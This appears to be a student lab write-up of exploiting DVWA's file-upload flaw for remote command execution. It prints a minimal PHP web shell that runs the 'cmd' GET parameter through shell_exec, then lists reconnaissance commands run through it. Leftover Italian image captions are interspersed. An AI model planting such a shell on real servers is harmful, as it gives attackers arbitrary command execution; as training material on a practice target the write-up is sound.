**Remote Code Execution via PHP Shell in DVWA**   
The goal was to exploit a file upload vulnerability in DVWA (Damn Vulnerable Web Application) to execute arbitrary commands on the target server via a minimal PHP shell.

**Test Environment**

* **Application:** Damn Vulnerable Web Application (DVWA)
* **Tools Used:** Burp Suite (for intercepting browser requests)

**Procedure and Results**

1. **PHP Shell Upload**
   * A PHP shell was successfully uploaded to DVWA’s /uploads directory. This shell allowed command execution on the server via GET parameters.

<?php

if(isset($\_GET['cmd'])) {

echo '<pre>' . shell\_exec($\_GET['cmd']) . '</pre>';

}

?>

1. **Command Execution**
   * whoami**command:** Used to identify the user under which the web server (and PHP) executed commands. The output was www-data, confirming that commands ran with the web server’s limited-privilege user credentials.

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**pwd command:`:** Prints the "present working directory" (server’s current location). The output was /var/www/dvwa/hackable/uploads, confirming where the shell was uploaded.Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene schermata, testo, software, computer

Descrizione generata automaticamente

**- ls -la command:** Lists all files in the current directory with details (permissions, owner, size). This revealed multiple PHP files, likely previous uploads or system files.

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene schermata, testo, software, Icona del computer

Descrizione generata automaticamente

**- ls command:**Simplified version of ls -la; lists files in the current directory without additional details.

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**HTTP Request Analysis**

Requests intercepted with Burp Suite clearly showed how commands were injected via the cmd query parameter. Each sent request was well-formed and mirrored unfiltered user input, confirming the vulnerability.

Security Implications

The ability to execute arbitrary commands via an uploaded shell indicates a critical security flaw. While the www-data user and working directory suggest a restricted environment, the obtained access could still enable malicious activity.

Conclusions

This test highlights the importance of continuously assessing and hardening security measures in exposed web applications—especially those allowing user file uploads.

Utilizzo di una shell PHP più sofisticata

Codice e spiegazione

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

The PHP code in the image implements an **interactive web-based shell**, allowing users to execute server commands directly through a simple browser interface.

1. **1. User Interface:** Built with HTML/CSS, including a form for command input.
2. **2. Command Execution:** Submitted commands are processed via GET requests.

inviato, il server riceve questo input tramite una richiesta GET.

**Example Commands & Outputs**

**1. ls -la**

* + **Purpose:** Lists all files/directories (including hidden ones) with detailed permissions.

Immagine che contiene testo, schermata, software, Icona del computer

Descrizione generata automaticamente

**Output:**Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**2. cat Meta.php**

* + **Purpose:** Displays the contents of Meta.php.

Immagine che contiene testo, schermata, computer, software

Descrizione generata automaticamente

**Output:**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**3. touch Epicode.txt**

* + **Purpose:** Creates a new empty file (Epicode.txt) in the current directory.

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene testo, schermata, software, computer

Descrizione generata automaticamente

**4.php --version**

* + **Purpose:** Returns the installed PHP version.

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene testo, software, Icona del computer, computer

Descrizione generata automaticamente

**5. mysql --version**

* + **Purpose:** Checks if MySQL is installed and returns its version.

Immagine che contiene testo, software, Icona del computer, computer

Descrizione generata automaticamente

**Output:**

Immagine che contiene testo, software, computer, Icona del computer

Descrizione generata automaticamente